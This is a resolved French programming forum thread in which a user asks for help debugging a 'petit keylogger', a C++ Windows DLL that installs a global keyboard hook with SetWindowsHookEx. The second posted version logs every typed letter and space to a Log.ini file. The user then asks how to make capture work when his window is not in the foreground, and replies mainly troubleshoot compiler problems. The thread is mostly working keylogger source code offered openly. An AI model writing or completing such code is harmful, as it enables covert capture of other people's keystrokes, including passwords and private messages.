Hook clavier [Résolu]

Signaler
Messages postés
66
Date d'inscription
jeudi 8 avril 2004
Statut
Membre
Dernière intervention
28 juin 2007
-
shuty
Messages postés
47
Date d'inscription
jeudi 20 avril 2006
Statut
Membre
Dernière intervention
6 février 2015
-
Salut à tous, j'essaye de faire un petit keylogger, mais ce code ne marche pas :

#include <windows.h>

#define DLLEXPORT  __declspec (dllexport)

HHOOK Hook;
HINSTANCE hInst;

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
    if(fdwReason == DLL_PROCESS_ATTACH)
        hInst = hinstDLL;
    return true;
}

LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
    if(nCode >= 0)
    {
        switch(wParam)
        {
            case 'A' : MessageBox(0, "A", 0,0); break;
        }
    }

    return CallNextHookEx(Hook, nCode, wParam, lParam);
}

// a sample exported function
void DLLEXPORT SomeFunction(const LPCSTR sometext)
{
    MessageBox(0, sometext, "DLL Message", MB_OK | MB_ICONINFORMATION);
}

int DLLEXPORT InitHook()
{
    if(!Hook)
    Hook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, hInst, 0);
    return (int) Hook;
}

void DLLEXPORT EndHook()
{
    if(Hook)
    UnhookWindowsHookEx(Hook);
}

je ne comprend pas pourquoi, merci de bien vouloir m'aider .

10 réponses

Messages postés
1910
Date d'inscription
vendredi 18 juin 2004
Statut
Modérateur
Dernière intervention
14 novembre 2014
11
Salut,
Certains outils comme Dev C++ génèrent des DLLs de hook non fontionnel. Tu peux regarder l'un de mes codes sources avec hook sans DLL:
Hook Sans DLL
Volume OSD
Messages postés
1910
Date d'inscription
vendredi 18 juin 2004
Statut
Modérateur
Dernière intervention
14 novembre 2014
11
Ton code parait correct. Tu utilises quel outil? Si c'est Dev C++, c'est normal car la DLL de hook est mal générée. Dans ce cas, on ne peut rien faire puisque c'est un problème interne de Dev C++.
Messages postés
1787
Date d'inscription
lundi 22 novembre 2004
Statut
Membre
Dernière intervention
31 janvier 2009
2
Bé ça c'est une DLL
C'est pas un executable à proprememt parler...
#include
Messages postés
66
Date d'inscription
jeudi 8 avril 2004
Statut
Membre
Dernière intervention
28 juin 2007

Salut et merci d'avoir répondu, je le sais ça que c'est une dll
 J'apelle la fonction InitHook à partir de mon client mais ça ne marche pas.
Messages postés
66
Date d'inscription
jeudi 8 avril 2004
Statut
Membre
Dernière intervention
28 juin 2007

Salut, je viens de voir ta source qui est très bien ( et que j'utiliserai si ce code ne marche pas ) mais pour l'instant j'aimerai savoir pourquoi ce code ne marche pas ?, je ne comprend vraiment pas .
Messages postés
66
Date d'inscription
jeudi 8 avril 2004
Statut
Membre
Dernière intervention
28 juin 2007

Problème réglé, ce code ne marche pas avec code block mais sous VC++ il marche très bien .

Merci à vous.
Messages postés
66
Date d'inscription
jeudi 8 avril 2004
Statut
Membre
Dernière intervention
28 juin 2007

Re à tous, j'ai un autre problème dans ce code :

#include <windows.h>
#include <string>
#include
#include <fstream>

using namespace std;

#define DLLEXPORT  __declspec (dllexport)

HHOOK Hook;
HINSTANCE hInst;

ofstream Fichier;

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
    if(fdwReason == DLL_PROCESS_ATTACH)
        hInst = hinstDLL;
    return true;
}

void WriteToFile(string Lettre)
{
    Fichier << Lettre;
}

LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
    if(nCode >= 0)
    {
        if ( ((DWORD)lParam & 1<<30) != FALSE )
        {
            return CallNextHookEx(Hook, nCode, wParam, lParam);
        }

        switch(wParam)
        {
            case 'A' : WriteToFile("a"); break;
            case 'B' : WriteToFile("b"); break;
            case 'C' : WriteToFile("c"); break;
            case 'D' : WriteToFile("d"); break;
            case 'E' : WriteToFile("e"); break;
            case 'F' : WriteToFile("f"); break;
            case 'G' : WriteToFile("g"); break;
            case 'H' : WriteToFile("h"); break;
            case 'I' : WriteToFile("i"); break;
            case 'J' : WriteToFile("j"); break;
            case 'K' : WriteToFile("k"); break;
            case 'L' : WriteToFile("l"); break;
            case 'M' : WriteToFile("m"); break;
            case 'N' : WriteToFile("n"); break;
            case 'O' : WriteToFile("o"); break;
            case 'P' : WriteToFile("p"); break;
            case 'Q' : WriteToFile("q"); break;
            case 'R' : WriteToFile("r"); break;
            case 'S' : WriteToFile("s"); break;
            case 'T' : WriteToFile("t"); break;
            case 'U' : WriteToFile("u"); break;
            case 'V' : WriteToFile("v"); break;
            case 'W' : WriteToFile("w"); break;
            case 'X' : WriteToFile("x"); break;
            case 'Y' : WriteToFile("y"); break;
            case 'Z' : WriteToFile("z"); break;

            case VK_SPACE : WriteToFile(" "); break;
        }
    }

    return CallNextHookEx(Hook, nCode, wParam, lParam);
}

int DLLEXPORT InitHook()
{
    Fichier.open ("Log.ini", ios::out);
    if(!Hook)
        Hook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, hInst, 0);
    return (int) Hook;
}

void DLLEXPORT EndHook()
{
    Fichier.close();
    if(Hook)
        UnhookWindowsHookEx(Hook);
}

Pourquoi ce code marche-il que lorsque ma fenêtre est au premier plan ?
N'y aurait-il aucun moyen pour empecher cela

Merci de votre aide.
Messages postés
71
Date d'inscription
vendredi 13 septembre 2002
Statut
Membre
Dernière intervention
9 mars 2009

Salut,

Tu pourrais expliquer ce qu'est exactement un keylogger ? A ce qu'il me semble tu as l'air de réaliser un système qui permet d'intercepter les caratères tappés au clavier, de manière à transformer toutes les lettre tappées en majuscule en eur équivalent minuscules ?

A bientôt.

Cotmar.
Messages postés
66
Date d'inscription
jeudi 8 avril 2004
Statut
Membre
Dernière intervention
28 juin 2007

Salut, un keylogger est un programme qui intercepte la touche du clavié qui est apuiyée et qui écrit cette touche dans un fichier.

Enfin pour moi c'est ça, après pour les autres ça peut être autre chose ^^.
Messages postés
47
Date d'inscription
jeudi 20 avril 2006
Statut
Membre
Dernière intervention
6 février 2015

Bonjour, je me suis lancé dans la programmation orienté objet (c++) et j'aimerai savoir si vous aviez un tutoriel expliquant l'utilisation de A a Z des hooks.

Cordialement,